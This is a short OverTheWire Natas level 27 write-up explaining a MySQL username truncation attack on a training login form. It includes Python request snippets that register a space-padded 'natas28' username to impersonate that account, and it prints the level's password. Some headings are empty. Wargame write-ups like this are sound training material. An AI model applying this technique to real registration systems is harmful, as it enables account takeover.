Writeups OverTheWireNatasWeb ExploitationSQL TruncationMySQL

Natas 27 Writeup - OverTheWire

Writeup for Natas level 27 from OverTheWire: MySQL username truncation attack.

Contents

Wargame: Natas

Level: 27

Category: Web Exploitation

Description

A login/registration form stores users in MySQL. The natas28 user already exists. The goal is to log in as natas28 and retrieve their password, without knowing it.

Overview

Background: SQL Truncation Attack

Solution

Step 1: Register the Padded Username

padded = "natas28" + " " * 57 + "d"
requests.post(url, auth=auth, data={"username": padded, "password": ""})

Step 2: Log In with the Truncated Username

login = "natas28" + " " * 57
r = requests.post(url, auth=auth, data={"username": login, "password": ""})

Step 3: Extract the Password

Password

skrwxciAe6Dnb0VfFDzDEHcCzQmv3Gd4

← Back to Blog